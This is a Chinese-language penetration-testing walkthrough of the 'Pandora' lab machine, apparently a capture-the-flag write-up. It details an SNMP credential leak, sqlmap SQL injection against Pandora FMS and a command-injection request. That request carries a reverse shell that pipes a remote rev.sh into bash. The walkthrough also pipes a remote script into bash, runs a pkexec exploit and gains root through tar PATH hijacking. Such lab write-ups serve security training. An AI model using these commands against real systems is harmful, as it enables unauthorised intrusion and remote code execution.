Pandora 渗透测试实战教学文档

1. 信息收集阶段

1.1 目标识别

• 目标IP: 10.10.11.136
• 使用的网络接口: tun0
• 存活检测命令:

ip='10.10.11.136'; itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
    if [ -n "$ports" ]; then 
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
        nmap -Pn -sV -sC -p "$ports" "$ip"; 
    else 
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
    fi; 
else 
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

1.2 端口扫描结果

• 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
  • SSH主机密钥:
    • RSA: 3072 24c295a5c30b3ff3173c68d7af2b5338
    • ECDSA: 256 b1417799469a6c5dd2982fc0329ace03
    • ED25519: 256 e736433ba9478a190158b2bc89f65108
• 80/tcp: Apache httpd 2.4.41
  • HTTP标题: "Play | Landing"
  • 服务器头: Apache/2.4.41 (Ubuntu)
• 161/tcp: SNMP服务
  • 操作系统信息: Linux

2. SNMP信息泄露利用

2.1 SNMP查询

snmpwalk -v 1 -c public 10.10.11.136

获取到关键凭据:

• 用户名: daniel
• 密码: HotelBabylon23

3. TRP00F工具利用

3.1 使用TRP00F进行漏洞利用

python3 trp00f.py --lhost 10.10.16.28 --lport 10000 --rhost 10.10.16.28 --rport 10032 --http 9999

当询问是否利用pkexec漏洞时选择y

4. 横向移动与Pandora FMS利用

4.1 使用KTOR工具扫描

curl http://10.10.16.28/ktor.sh|bash -s -- -l -p all

4.2 建立SSH隧道

ssh -L 9999:localhost:80 daniel@10.10.11.136

4.3 SQL注入利用

4.3.1 数据库枚举

sqlmap --url="http://127.0.0.1:9999/pandora_console/include/chart_generator.php?session_id=''" --batch --dbs

4.3.2 会话表数据提取

sqlmap --url="http://127.0.0.1:9999/pandora_console/include/chart_generator.php?session_id=''" --batch -D pandora -T tsessions_php --dump

获取有效会话ID: g4e01qdgk36mfdh90hvcc54umq

4.4 利用会话执行命令

4.4.1 测试命令执行

curl -X POST "http://localhost:9999/pandora_console/ajax.php" \
-H "Host: localhost:9999" \
-H "User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0" \
-H "Accept: application/json, text/javascript, */*; q=0.01" \
-H "Accept-Language: en-US,en;q=0.5" \
-H "Accept-Encoding: gzip, deflate" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Origin: http://localhost:9999" \
-H "Connection: close" \
-H "Referer: http://localhost:9999/pandora_console/index.php?sec=eventos&sec2=operation/events/events" \
-H "Cookie: PHPSESSID=g4e01qdgk36mfdh90hvcc54umq" \
-H "Sec-Fetch-Dest: empty" \
-H "Sec-Fetch-Mode: cors" \
-H "Sec-Fetch-Site: same-origin" \
-d "page=include%2fajax%2fevents&perform_event_response=10000000&target=whoami&response_id=1"

4.4.2 获取反向shell

curl -X POST "http://localhost:9999/pandora_console/ajax.php" \
-H "Host: localhost:9999" \
-H "User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0" \
-H "Accept: application/json, text/javascript, */*; q=0.01" \
-H "Accept-Language: en-US,en;q=0.5" \
-H "Accept-Encoding: gzip, deflate" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Origin: http://localhost:9999" \
-H "Connection: close" \
-H "Referer: http://localhost:9999/pandora_console/index.php?sec=eventos&sec2=operation/events/events" \
-H "Cookie: PHPSESSID=g4e01qdgk36mfdh90hvcc54umq" \
-H "Sec-Fetch-Dest: empty" \
-H "Sec-Fetch-Mode: cors" \
-H "Sec-Fetch-Site: same-origin" \
-d "page=include%2fajax%2fevents&perform_event_response=10000000&target=curl+http://10.10.16.28/rev.sh|bash&response_id=1"

5. 权限提升阶段

5.1 突破受限shell环境

• 获取用户标志: b4989b8688521476b6c5685a3b020269

5.2 通过SSH密钥横向移动

1. 生成SSH密钥:

ssh-keygen

2. 将公钥放入matt用户的.ssh目录
3. 连接:

ssh matt@127.0.0.1

5.3 逆向分析/usr/bin/pandora_backup

• 该文件设置了SUID位，但执行时提示权限不足
• 复制文件进行分析

5.4 利用tar路径劫持

1. 修改PATH环境变量:

export PATH=/tmp:$PATH

2. 创建恶意tar脚本:

echo -e '#!/bin/bash\n/bin/bash' > /tmp/tar

3. 执行pandora_backup触发:

/usr/bin/pandora_backup

5.5 获取root权限

• 获取root标志: 208a884a2a993e53704537085c4799d8

6. 关键工具与资源

1. TRP00F工具: https://github.com/MartinxMax/trp00f
2. KTOR脚本: https://github.com/MartinxMax/KTOR/blob/main/ktor.sh

7. 总结

本渗透测试流程展示了从信息收集到最终获取root权限的完整过程，重点利用了SNMP信息泄露、Pandora FMS的SQL注入和RCE漏洞，以及通过路径劫持实现的权限提升技术。